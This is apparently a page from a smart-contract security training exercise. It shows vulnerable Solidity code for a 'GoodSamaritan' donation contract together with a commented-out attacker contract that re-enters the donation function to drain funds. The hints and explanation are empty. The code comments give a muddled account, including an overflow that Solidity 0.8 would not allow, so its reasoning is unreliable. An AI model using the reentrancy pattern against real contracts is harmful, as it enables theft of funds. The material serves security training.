Good Samaritan

Drain the GoodSamaritan coin bank by exploiting integer overflows and error handling in a helper contract.

Vulnerable Code
Analyze the Solidity code below to find the vulnerability.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // Interface for the Wallet/User interface HumanWallet { function transferEther(address payable dest, uint amount) external; } // The vulnerable helper contract contract Coin { address public owner; mapping(address => uint) public balances; uint supply; // Total supply constructor() { owner = msg.sender; } // Function to request funds (vulnerable) function requestDonation() public returns(bool enoughBalance) { // Checks if caller's balance is low (<= 10) require(balances[msg.sender] <= 10); // Calculates required donation (overflow possible) // If supply is large, 100000 * 10**18 can overflow uint uint donation = 100000 * 10**18 / supply; // If donation calculation resulted in 0 (due to large supply / integer division) if(donation == 0){ // Donate 1 instead (prevents getting stuck) donation = 1; } // Check if contract has enough balance to donate enoughBalance = address(this).balance >= donation; if(enoughBalance){ // Transfer donation (external call) (bool success, ) = msg.sender.call{value: donation}(""); require(success); // Update balance (after external call - reentrancy possible but not main exploit) balances[msg.sender] += donation; } } // Other ERC20-like functions might exist (transfer, etc.) // Allow deposit receive() external payable { balances[msg.sender] += msg.value; supply += msg.value; // Vulnerable: Supply increments on simple receives? } } // The main contract holding funds contract GoodSamaritan { Coin public coin; // Instance of the helper coin contract HumanWallet public wallet; // Instance of the user's wallet contract constructor(address _coin, address _wallet) { coin = Coin(_coin); wallet = HumanWallet(_wallet); } // Function called by user to request aid function requestDonation() external { // Requires the Coin contract to report insufficient funds first require(!coin.requestDonation(), "Coin contract has enough balance"); // If Coin contract failed (returned false), transfer funds from wallet wallet.transferEther(payable(address(coin)), 100 * 10**18); // Send 100 Ether } // Allow deposits to this contract receive() external payable {} } // --- Attacker Wallet Contract --- // contract ExploitWallet is HumanWallet { // GoodSamaritan target; // Coin coinInstance; // // constructor(address _target, address _coin) { // target = GoodSamaritan(_target); // coinInstance = Coin(_coin); // } // // function attack() public { // // Trigger the donation request loop // target.requestDonation(); // } // // // Fallback function to handle received Ether during Coin.requestDonation // receive() external payable { // // Check if Coin balance is low enough to trigger another donation // if (address(coinInstance).balance < 10*10**18 && coinInstance.balances(address(this)) <= 10) { // // Re-enter the target contract to request more funds // target.requestDonation(); // } // } // // // Required by interface, does nothing malicious here // function transferEther(address payable dest, uint amount) external override { // // In a real scenario, this would transfer from internal funds // } // }
Submit Explanation
Explain the vulnerability and how to exploit it.
Hints (5)
Just a little peak
Hint 1
Hint 2
Hint 3
Hint 4
Hint 5
Explanation
Discomfort = Learning